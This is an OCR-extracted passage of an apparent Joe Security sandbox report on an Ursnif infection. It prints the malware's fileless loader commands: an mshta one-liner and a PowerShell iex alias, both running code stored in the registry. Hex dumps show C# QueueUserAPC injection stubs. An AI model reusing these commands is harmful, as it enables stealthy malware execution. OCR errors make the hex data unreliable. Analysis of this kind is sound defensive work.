00000002.00000002.437406268.0000000005FA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000002.00000003.319442390.00000000056C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.269316622.0000000005748000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.373063046.0000000006568000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.268998495.0000000005748000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

Registry Activities

Key Value Created
Key Path

HKEY_CURRENT_USER\Softwar

e\App

Datal.ow\Software\Microsoft\54E

80703-A337-A6B8-CDC8-
873A517CABOE

Access Attributes Options Completion Count Source Address
Offset Length Completion Count Source Address
Name Type Data Completion Count Source Address
FileOptions binary B8 0B 00 00 1C 80 00 00 42 29 76 81  success or wait 1 5FB6CB9

08 F8 D2 D8 CD C8 87 3A 35 3B 33
98 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00

Analysis Process: mshta.exe PID: 6228, Parent PID: 3616

General

Target ID: 19

Start time: 15:36:15

Start date: 28/04/2022

Path: C:\Windows\System32\mshta.exe

Wow64 process (32bit): false

Commandline:

Imagebase:
File size:

MD5 hash:
Has elevated privileges: true
Has administrator true

privileges:

Copyright Joe Security LLC 2022

0x7ff698270000
14848 bytes
197FC97C6A843BEBB445C1D9C58DCBDB

Symbol

Symbol

Symbol

RegSetValueEx

A

C:\Windows\System32\mshta.exe" "about:<hta:application><script>Qbwe="wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Qbwe).regread('HKCU\\Softwar
e\\AppDataLow\\Software\\Microsoft\54E80703-A337-A6B8-CDC8-873A517CABOE\\\TestLocal'));if('window.flag)close()</script>
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Programmed in:

Reputation:

File Activities

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

Access Attributes Options Completion Count Source Address Symbol

Offset Length Completion Count Source Address Symbol

Analysis Process: powershell.exe PID: 6648, Parent PID: 6228

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created
File Path

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_iappzOmc.xfl.ps1

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_grhpvdlu.qdg.psm1

Copyright Joe Security LLC 2022

20

15:36:18

28/04/2022
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
false

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name elhthuju -value gp; new-alias -name fwiwawp -value iex; fwiwawp
([System.Text.Encoding]::ASCII.GetString((elhthuju "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CABOE").UrlsR
eturn))

0x7ff6ba650000

447488 bytes
95000560239032BC68B4C2FDFCDEF913
true

true

.Net C# or VB.NET

o Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000014.00000003.381047815.000002C95DADC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

high

Access Attributes Options Completion Count Source Address Symbol
read data or list  device directory file | object name collision 1 7FFFDC1AF1E9 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list ~ device directory file | object name collision 1 7FFFDC1AF1E9 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list  device directory file | object name collision 1 7FFFD82403FC unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list ~ device directory file | object name collision 1 7FFFD82403FC unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read attributes | device sequential only | ' success or wait 1 7FFFDAFD6FDD CreateFilew
synchronize | synchronous io
generic write non alert | non

directory file |

open no recall
read attributes |  device sequential only |  success or wait 1 7FFFDAFD6FDD CreateFilew

synchronous io
non alert | non
directory file |
open no recall

synchronize |
generic write

Page 31 of 48



File Path

C:\Users\user\Documents\20220428

C:\Users\user\Documents\20220428\PowerShell_transcr
ipt.609290.5b3sR3N3.20220428153620.txt

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

C:\Users\user\AppData\Local\Temp\boqgffzj

C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.tmp

Copyright Joe Security LLC 2022

Access

read data or list
directory |
synchronize

read attributes |
synchronize |
generic read |
generic write

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read attributes |
synchronize |
generic write

Attributes

device

device

device

device

device

device

device

device

device

device

device

device

device

device

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file |
open no recall

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file |
open no recall

Completion

success or wait

success or wait

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

success or wait

success or wait

Count Source Address

1

7FFFDAFDF35D

7FFFDAFD6FDD

7FFFD82403FC

7FFFD82403FC

7FFFD82403FC

7FFFD82403FC

7FFFD82403FC

7FFFD82403FC

7FFFD82403FC

7FFFD82403FC

7FFFD82403FC

7TFFFD82403FC

7FFFDASCFD38

7FFFDAFD6FDD

Symbol

CreateDirect
oryw

CreateFileW

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

CreateDirect

oryA

CreateFilew
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File Path Access Attributes

C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.0.cs  read attributes |  device
synchronize |
generic read |
generic write

C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.dll read attributes |  device
synchronize |
generic read |
generic write

C:\Users\user\AppData\Local\Te read attributes |  device
mp\boqgffzj\boqggffzj.cmdline synchronize |
generic write

C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.out read attributes |  device
synchronize |
generic write

C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.err read attributes |  device
synchronize |
generic write

C:\Users\user\AppData\Local\Temp\yb3geOmO read data or list  device
directory |
synchronize

C:\Users\user\AppData\Local\Te read attributes |  device
mp\yb3geOmO0\yb3geOmO.tmp synchronize |
generic write

C:\Users\user\AppData\Local\Te read attributes |  device
mp\yb3geOmO\yb3geOmO0.0.cs synchronize |

generic read |

generic write

C:\Users\user\AppData\Local\Te read attributes |  device
mp\yb3geOmO\yb3geOmO.dll synchronize |

generic read |

generic write

C:\Users\user\AppData\Local\Te read attributes |  device
mp\yb3geOmO\yb3geOmO.cmdline synchronize |
generic write

C:\Users\user\AppData\Local\Te read attributes |  device
mp\yb3geOmO\yb3geOmO.out synchronize |
generic write

C:\Users\user\AppData\Local\Te read attributes |  device
mp\yb3geOmO\yb3geOmO.err synchronize |
generic write

File Deleted

File Path
C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_iappzOmc.xf1.ps1
C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_grhpvd1lu.qdg.psm1
C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.err
C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.0.cs
C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.out
C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.cmdline
C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.tmp
C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.dll
C:\Users\user\AppData\Local\Temp\yb3geOmO0\yb3geOmO.dll
C:\Users\user\AppData\Local\Temp\yb3geOmO0\yb3geOmO0.cmdline
C:\Users\user\AppData\Local\Temp\yb3geOmO0\yb3geOm0.out
C:\Users\user\AppData\Local\Temp\yb3geOmO0\yb3geOm0.0.cs
C:\Users\user\AppData\Local\Temp\yb3geOmO0\yb3geOm0.err
C:\Users\user\AppData\Local\Temp\yb3geOmO0\yb3geOmO0.tmp

File Written

Copyright Joe Security LLC 2022

Options Completion

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

directory file | success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Count Source Address

1 7FFFDAFD6FDD
1 7FFFDAFD6FDD
1 7FFFDAFD6FDD
1 7FFFDAFD6FDD
1 7FFFDAFD6FDD
1 7FFFDA5CFD38
1 7FFFDAFD6FDD
1 7FFFDAFD6FDD
1 7FFFDAFD6FDD
1 7FFFDAFD6FDD
1 7FFFDAFD6FDD
1 7FFFDAFD6FDD

Count Source Address

1 7FFFDAFDF270
1 7FFFDAFDF270
1 7FFFDAFDF270
1 7FFFDAFDF270
1 7FFFDAFDF270
1 7FFFDAFDF270
1 7FFFDAFDF270
1 7FFFDAFDF270
1 7FFFDAFDF270
1 7FFFDAFDF270
1 7FFFDAFDF270
1 7FFFDAFDF270
1 7FFFDAFDF270
1 7FFFDAFDF270

Symbol

CreateFileW

CreateFileW

CreateFileW

CreateFilew

CreateFileW

CreateDirect
oryA

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFilew

CreateFileW

Symbol

DeleteFilewW
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew

DeleteFileW
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File Path

C:\Users\user\AppData\Local\Te
mp\___PSscr
iptPolicyTest_iappzOmc.xfl.ps1

C:\Users\user\AppData\Local\Te
mp\__PSscr
iptPolicyTest_grhpvdlu.qdg.psml1

C:\Users\user\Documents\202204
28\PowerShell_transcr
ipt.609290.5b3sR3N3.2022042815362
0.txt

C:\Users\user\Documents\202204
28\PowerShell_transcr
ipt.609290.5b3sR3N3.2022042815362
0.txt

C:\Users\user\AppData\Local\Te
mp\boqgffzj\boqgffzj.0.cs

Copyright Joe Security LLC 2022

Offset

0

0

0

8

0

Length Value

1

825

403

31

31

2a2a2a?2a2a?2a2a?a
2a 2a2a?2a2a?2a?2a?a
2a 2a2a2a2a2a0d0a
57 69 6e 64 6f 77 73 20
50 6f 77 65 72 53 68 65
6c 6¢ 20 74 72 61 6e 73
637269 7074207374
61 72 74 0d 0a 53 74 61
72 74 20 74 69 6d 65 3a
2032 303232303432
38 31 353336 3232 0d
0a 55 73 65 72 6e 61 6d
65 3a 20 44 45 53 4b 54
4f 50 2d 37 31 36 54 37
37 31 5c 6a 6f 6e 65 73
0d 0a 52 75 6e 41 73 20
55 73 65 72 3a 20 44 45
53 4b 54 4f 50 2d 37 31
36 54 37 37 31 5c¢ 6a 6f
6e 65 73 0d Oa 43 6f 6e
66 69 67 75 72 61 74 69
6f 6e 20 4e 61 6d 65 3a
20 0d Oa 4d 61 63 68 69
6e 65 3a 20 36 30 39 32
39 30 20 28 4d 69 63 72
6f 73 6f 66 74 20 57 69
6e 64 6f 77 73 20 4e 54
20 31 30 2e 30 2e 31 37
31 33 34 2e 30 29 0d Oa
48 6f 73 74 20 41 70 70
6¢ 69 63 61 74 69 6f 6e
3a 2043 3a 5¢ 57 69

ff 75 73 69 6e 67 20 53
79 73 74 65 6d 3b Oa 75
73 69 6e 67 2053 79 73
74 65 6d 2e 52 75 6e 74
69 6d 65 2e 49 6e 74 65
72 6f 70 53 65 72 76 69
63 65 73 3b 0a Oa 6e 61
6d 65 73 70 61 63 65 20
57 33 32 0a 7b 0a 20 20
2020 70 75 62 6¢ 69 63
20 63 6¢ 61 73 73 20 62
6a 75 0a 20 20 20 20 7b
0a 20 20 20 20 5b 44 6¢
6¢ 49 6d 70 6f 72 74 28
22 6b 65 72 6e 65 6¢ 33
3222 29 5d 0a 70 75 62
6C 69 63 20 73 74 61 74
69 63 20 65 78 74 65 72
6e 20 75 69 6e 74 20 51
7565 75 65 55 73 65 72
4150 43 28 49 6e 74 50
747220777179 65 6d
776275 2c 49 6e 74 50
74722076 6C 62 66 76
78 2c 49 6e 7450 74 72
20 68 6f 6b 69 6b 76 29
3b 0a 5b 44 6¢ 6¢ 49 6d
70 6f 72 74 28 22 6b 65
72 6e 65 6¢ 33 32 22 29
5d 0a 70 75 62 6¢ 69 63
20 73 74 61 74 69 63 20
6578 74 65 72

Ascii Completion Count Source Address

1 success or wait 1 7FFFDAFDB526

1 success or wait 1 7FFFDAFDB526

success or wait 1 7FFFDAFDB526

****xk********xt******windo success or Walt 11
ws PowerShell transcript
startStart time:
20220428153622Userna
me: computer\userRunAs
User:
computer\userConfigurati
on Name: Machine:
609290 (Microsoft
Windows NT
10.0.17134.0)Host
Application: C:\Wi

7FFFDAFDB526

using System;using success or wait 1 7FFFDAFDB526
System.Runt
ime.InteropServices;nam
espace W32{ public
class bju {
[Dllimport("kernel32")]pub
lic static extern uint
QueueUserAPC(IntPtr
wayemwbu, IntPtr vl
bfvx,IntPtr hokikv);
[Dllimport
("kernel32")]public static

exter

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mp\boqgffzj\boqggffzj.cmdline

C:\Users\user\AppData\Local\Te
mp\boqgffzj\boqgffzj.out

Copyright Joe Security LLC 2022

Offset

0

0

Length Value Ascii Completion Count Source Address

369

454

ff 2f 74 3a 6¢ 69 62 72 61 /t:library /utf8output success or wait 1 7FFFDAFDB526
7279202f75746638  /R:"System.dll"

6f 75 74 70 75 74 20 2f /R:"C:\Windows\Micros
523a225379737465 oft.Net\assembly\\GAC_M
6d 2e 64 6¢c 6¢ 22 20 2f  SIL\Syst

52 3a22433a5c5769 em.Management.Automa
6e 64 6f 77 735c 4d 69  tion\v4.0_

63 72 6f 73 6f 66 74 2e 3.0.0.0__31bf3856ad364
4e 65 74 5c 61 737365  e35\Syst

6d 62 6¢ 79 5c 47 41 43  em.Management.Automa
5f4d 5349 4c5¢ 5379  tion.dll"

73 74 65 6d 2e 4d 61 6e  /R:"System.Core.dlIl"

61 67 65 6d 65 6e 74 2e  /out:"C:\

417574 6f6d 61 7469  Users\user\AppData\Loc
6f 6e 5¢ 76 34 2e 30 5f al\Temp\boqgffzj\bo

33 2e 30 2e 30 2e 30 5f

5f 33 31 62 66 33 38 35

36 61 64 33 36 34 65 33

355¢ 53 79 73 74 65 6d

2e 4d 61 6e 61 67 65 6d

65 6e 74 2e 41 75 74 6f

6d 61 74 69 6f 6e 2e 64

6c 6¢ 22 20 2f 52 3a 22

5379 73 74 65 6d 2e 43

6f 72 65 2e 64 6¢ 6C 22

20 2f 6f 75 74 3a 22 43

3a5¢ 55 73657273 5¢

6a 6f 6e 65 73 5¢ 41 70

70 44 61 74 61 5c 4c 6f

63 61 6¢ 5¢ 54 65 6d 70

5c 62 6f 71 67 66 66 7a

6a 5c 62 6f

ff 43 3a 5¢ 57 69 6e 64 6f C:\Windows\system32>  success or wait 1 7FFFDAFDB526
77735c 7379737465 "C:\Windo

6d 33323e2022433a ws\Microsoft.NET\Frame
5c 57 69 6e 64 6f 77 73 work64\v

5c 4d 69 63 72 6f 73 6f 4.0.30319\csc.exe”

66 74 2e 4e 4554 5¢ 46  /t:library /utf8output
72616d65776f726b  /R:"System.dll" /R

36 345c76 34 2e302e :"C:\Windows\Microsoft.N
33303331395c6373 etlass

63 2e 6578 65 22 20 2f  embly\GAC_MSIL\Syste
743a6c6962726172 m.Manageme

79 20 2f 75 74 66 38 6f nt.Automation\v4.0_3.0.0.
7574707574202f52 0_ 31
3a2253797374656d bf3856ad364e35\System.
2e 64 6¢c 6¢c 22 20 252  Management.Automatio
3a 22 43 3a 5¢ 57 69 6e

64 6f 77 73 5¢c 4d 69 63

72 6f 73 6f 66 74 2e 4e

65 74 5¢ 61 73 73 65 6d

62 6¢ 79 5¢ 47 41 43 5f

4d 53 49 4c 5¢ 53 79 73

74 65 6d 2e 4d 61 6e 61

67 65 6d 65 6e 74 2e 41

75 74 6f 6d 61 74 69 6f

6e 5¢c 76 34 2e 30 5f 33

2e 30 2e 30 2e 30 5f 5f

33 31 62 66 33 38 35 36

61 64 33 36 34 65 33 35

5c 53 79 73 74 65 6d 2e

4d 61 6e 61 67 65 6d 65

6e 74 2e 41 75 74 6f 6d

61 74 69 6f

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mplyb3geOmO\yb3ge0m0.0.cs

C:\Users\user\AppData\Local\Te
mp\yb3geOmO\yb3geOmO.cmdline

Copyright Joe Security LLC 2022

Offset

0

0

Length Value

392

369

ff 75 73 69 6e 67 20 53
79 73 74 65 6d 3b Oa 75
73 69 6e 672053 79 73
74 65 6d 2e 52 75 6e 74
69 6d 65 2e 49 6e 74 65
72 6f 70 53 65 72 76 69
63 65 73 3b Oa Oa 6e 61
6d 65 73 70 61 63 65 20
57 33 32 0a 7b 0a 20 20
202070 75 62 6¢ 69 63
2063 6¢ 61 73 73 20 62
7576 62 63 79 0a 20 20
20 20 7b 0a 20 20 20 20
5b 44 6¢ 6¢ 49 6d 70 6f
72 74 28 22 6b 65 72 6e
65 6¢ 33 32 22 29 5d Oa
707562 6¢ 69 63 20 73
74 6174 69 63 20 65 78
74 65 72 6e 20 49 6e 74
507472204765 7443
75727265 6e 7450 72
6f 63 65 73 73 28 29 3b
Oa 5b 44 6¢ 6¢ 49 6d 70
6f 72 74 28 22 6b 65 72
6e 65 6¢ 33 32 22 29 5d
0a 70 75 62 6¢ 69 63 20
7374 61 74 69 63 20 65
78 74 65 72 6e 20 76 6f
69 64 20 53 6¢ 65 65 70
45 78 28 75 69 6e 74 20
6a 75 6a 71 6a 6a 63 72
2c 7569 6e 74

ff 2f 74 3a 6¢ 69 62 72 61
7279 20 2f 75 74 66 38
6f 75 74 70 75 74 20 2f
52 3a 225379737465
6d 2e 64 6¢ 6¢ 22 20 2f
52 3a 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢ 4d 69
63 72 6f 73 6f 66 74 2e
4e 65 74 5¢c 61 73 73 65
6d 62 6¢ 79 5¢c 47 41 43
5f 4d 53 49 4c 5¢ 53 79
73 74 65 6d 2e 4d 61 6e
61 67 65 6d 65 6e 74 2e
4175 74 6f 6d 61 74 69
6f 6e 5¢ 76 34 2e 30 5f
33 2e 30 2e 30 2e 30 5f
5f 33 31 62 66 33 38 35
36 61 64 33 36 34 65 33
355¢ 53 79 73 74 65 6d
2e 4d 61 6e 61 67 65 6d
65 6e 74 2e 41 75 74 6f
6d 61 74 69 6f 6e 2e 64
6¢ 6¢ 22 20 2f 52 3a 22
5379 73 74 65 6d 2e 43
6f 72 65 2e 64 6¢ 6C 22
20 2f 6f 75 74 3a 22 43
3a 5¢ 55 7365 72 73 5¢
6a 6f 6e 65 73 5¢ 41 70
70 44 61 74 61 5¢ 4c 6f
63 61 6¢ 5¢ 54 65 6d 70
5c 79 62 33 67 65 30 6d
30 5¢ 79 62

Ascii Completion Count Source Address

using System;using success or wait 1 7FFFDAFDB526
System.Runt
ime.InteropServices;nam
espace W32{ public
class buvbey {
[Dllimport("kernel32")]p
ublic static extern IntPtr
GetCurrentProcess();
[Dllimport("k
ernel32")]public static
extern void SleepEx(uint

jujgjjer,uint

It:library /utf8output success or wait 1 7FFFDAFDB526
IR:"System.dlIl"
/R:"C:\Windows\Micros
oft.Net\assembly\GAC_M
SIL\Syst
em.Management.Automa
tion\v4.0_
3.0.0.0__31bf3856ad364
e35\Syst
em.Management.Automa
tion.dll"
/R:"System.Core.dIl"
Jout:"C:\
Users\user\AppData\Loc
al\Temp\yb3geOmO\yb

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mplyb3geOmO\yb3geOmO.out

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

Copyright Joe Security LLC 2022

Offset

0

0

Length Value

454

4096

ff 43 3a 5¢ 57 69 6e 64 6f
77735¢ 7379737465
6d 33 32 3e 20 22 43 3a
5c 57 69 6e 64 6f 77 73
5c 4d 69 63 72 6f 73 6f
66 74 2e 4e 45 54 5¢c 46
72 61 6d 65 77 6f 72 6b
36 34 5¢ 76 34 2e 30 2e
33 303331395¢c6373
63 2e 65 78 65 22 20 2f
74 3a6¢ 6962726172
79 20 2f 75 74 66 38 6f
75747075 74 20 2f 52
3a 2253797374 65 6d
2e 64 6¢ 6¢ 22 20 2f 52
3a 22 43 3a 5¢ 57 69 6e
64 6f 77 73 5¢c 4d 69 63
72 6f 73 6f 66 74 2e 4e
65 74 5¢ 61 73 73 65 6d
62 6¢ 79 5c 47 41 43 5f
4d 53 49 4c 5¢ 53 79 73
74 65 6d 2e 4d 61 6e 61
67 65 6d 65 6e 74 2e 41
75 74 6f 6d 61 74 69 6f
6e 5¢c 76 34 2e 30 5f 33
2e 30 2e 30 2e 30 5f 5f
33 31 62 66 33 38 35 36
61 64 33 36 34 65 33 35
5c 5379 73 74 65 6d 2e
4d 61 6e 61 67 65 6d 65
6e 74 2e 41 75 74 6f 6d
61 74 69 6f

50 53 4d 4f 44 55 4c 45
43 41 43 48 45 01 0f 00
00 00 37 42 5c¢ fd 15 fd fd
08 43 00 00 00 43 3a 5¢
50 72 6f 67 72 61 6d 20
46 69 6¢ 65 73 5¢ 57 69
6e 64 6f 77 73 50 6f 77
65 72 53 68 65 6¢ 6C 5¢
4d 6f 64 75 6¢ 65 73 5¢
50 65 73 74 65 72 5¢ 33
2e 34 2e 30 5¢ 50 65 73
746572 2e 7073 6d 31
07 00 00 00 Oe 00 00 00
53 61 66 65 47 65 74 43
6f 6d 6d 61 6e 64 02 00
00 00 14 00 00 00 47 65
742d 536372697074
42 6c 6f 63 6b 53 63 6f
70 65 02 00 00 00 24 00
00 00 47 65 74 2d 44 69
63 74 69 6f 6e 61 72 79
56 61 6¢ 75 65 46 72 6f
6d 46 69 72 73 74 4b 65
79 46 6f 75 6e 64 02 00
00 00 10 00 00 00 4e 65
77 2d 50 65 73 74 65 72
4f 70 74 69 6f 6e 02 00
00 00 0d 00 00 00 49 6e
76 6f 6b 65 2d 50 65 73
74 6572 0200000012
00 00 00 52 65 73 6f 6¢
76 6554 6573 74

Ascii Completion Count Source Address

C:\Windows\system32>  success or wait 1 7FFFDAFDB526
"C:\Windo
ws\Microsoft.NET\Frame
work64\v
4.0.30319\csc.exe"”
[t:library /utf8output
/R:"System.dll" /R
:"C:\Windows\Microsoft.N
et\ass
embly\GAC_MSIL\Syste
m.Manageme
nt.Automation\v4.0_3.0.0.
0_31
bf3856ad364e35\System.
Management.Automatio

PSMODULECACHE7B\C ' success or wait 1
C:\Program Fi
les\WindowsPowerShell\
Modules\
Pester\3.4.0\Pester.psm1
SafeGetCommandGet-
scriptBlockScope$Get-
DictionaryValueFromFirst
KeyFoundNew-
PesterOptioninvoke-
PesterResolveTest

7FFFDAFDB526

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

Copyright Joe Security LLC 2022

Offset

4096 4096
8192 3414
0 64
64 40
104 15
119 1

Length Value

52 65 70 6f 73 69 74 6f

72 79 02 00 00 00 Ob 00
00 00 53 61 76 65 2d 53
63 72 69 70 74 02 00 00
00 Oc 00 00 00 46 69 6e
64 2d 50 61 63 6b 61 67
65 02 00 00 00 00 00 00
00 fd fd fd fd 15 fd fd 08
59 00 00 00 43 3a 5¢ 50
72 6f 67 72 61 6d 20 46
69 6¢ 65 73 20 28 78 38
36 29 5¢c 57 69 6e 64 6f
77 73 50 6f 77 65 72 53
68 65 6¢ 6¢ 5¢ 4d 6f 64

75 6¢ 65 73 5¢ 50 6f 77

65 72 53 68 65 6¢ 6C 47
65 74 5¢ 31 2e 30 2e 30
2e 31 5¢ 50 6f 77 65 72

53 68 65 6¢ 6C 47 65 74
2e 70 73 64 31 1d 00 00
00 10 00 00 00 55 6e 69
6e 73 74 61 6¢ 6¢ 2d 4d
6f 64 75 6¢ 65 02 00 00
00 04 00 00 00 69 6e 6d
6f 01 00 00 00 04 00 00
00 66 69 6d 6f 01 00 00
00 Oe 00 00 00 49 6e 73
74 61 6¢ 6¢ 2d 4d 6f 64

75 6¢ 65 02 00 00 00 12
00 00 00 4e 65 77 2d 53
63 72 69 70 74 46 69 6C
65 49 6e 66 6f 02

Ob 00 00 00 53 61 76 65
2d 4d 6f 64 75 6¢ 65 02
00 00 00 Ob 00 00 00 53
61 76 65 2d 53 63 72 69
70 74 02 00 00 00 04 00
00 00 75 70 6d 6f 01 00
00 00 10 00 00 00 55 6e
69 6e 73 74 61 6¢ 6¢ 2d
5363 72 69 70 74 02 00
00 00 13 00 00 00 47 65
74 2d 49 6e 73 74 61 6¢C
6¢ 65 64 53 63 72 69 70
74 02 00 00 00 0d 00 00
00 55 70 64 61 74 65 2d
4d 6f 64 75 6¢ 65 02 00
00 00 15 00 00 00 52 65
67 69 73 74 65 72 2d 50
53 52 65 70 6f 73 69 74
6f 72 79 02 00 00 00 Ob
00 00 00 46 69 6e 64 2d
53 63 72 69 70 74 02 00
00 00 17 00 00 00 55 6e
72 6567 69 73746572
2d 50 53 52 65 70 6f 73
69 74 6f 72 79 02 00 00
00 04 00 00 00 70 75 6d
6f 01 00 00 00 13 00 00
00 54 65 73 74 2d 53 63
72 69 70 74 46 69 6¢ 65
49 6e 66 6f 02 00 00 00
1500 00 00 55 70 64 61
74 65 2d 53 63 72 69

40 00 00 01 65 00 00 00
00 00 00 00 10 00 00 00
09 00 00 00 11 00 00 00
01 00 00 00 00 00 00 00
00 00 00 00 fd 01 00 00
00 00 00 00 00 00 00 00
00 00 00 00 04 40 00 fd
00 00 00 00 00 00 00 00

38 00 00 02 04 00 00 00
00 00 00 00 01 00 00 00
fd 27 fd fd 11 e3 4c fd fd
7d 19 b2 0Ob fd 09 00 00
00 Oe 00 Of 00

5379 73 74 65 6d 2e 4e
75 6d 65 72 69 63 73

00

Ascii Completion Count Source Address

RepositorySave-scr success or wait 1 7FFFDAFDB526
iptFind-

PackageYC:\Program

Files

(x86)\WindowsPowerShel

\Modules\PowerShellGet

\1.0.0.1\PowerShellGet.p

sd1Uninstall-

Moduleinmofimolnstall-

ModuleNew-

scr<wbr>iptFilelnfo

Save-ModuleSave-scr success or wait 1 7FFFDAFDB526
iptupmoUninstall-

scr<wbr>iptGet-

Installedscr<wbr>iptUpda

te-ModuleRegister-

PSRepositoryFind-

scr<wbr>iptUnregister-

PSRepositorypumoTest-

scr<wbr>iptFileln

foUpdate-Scri

@e@ success or wait 1 7FFFDC5CF6ES8

8'L} success or wait 16 7FFFDC5CF6E8

System.Numerics success or wait 16 7FFFDC5CF6E8

success or wait 10 7FFFDC5CF6E8

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset Length Value Ascii Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Mi 1084 4 6c 00 00 03 | success or wait 1 7FFFDC5CF6E8 WriteFile
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

C:\Users\user\AppData\Local\Mi 1088 104 010efd00020efd00 "@$Q@@@@@@W@ success or wait 1 7FFFDC5CF6E8 WriteFile
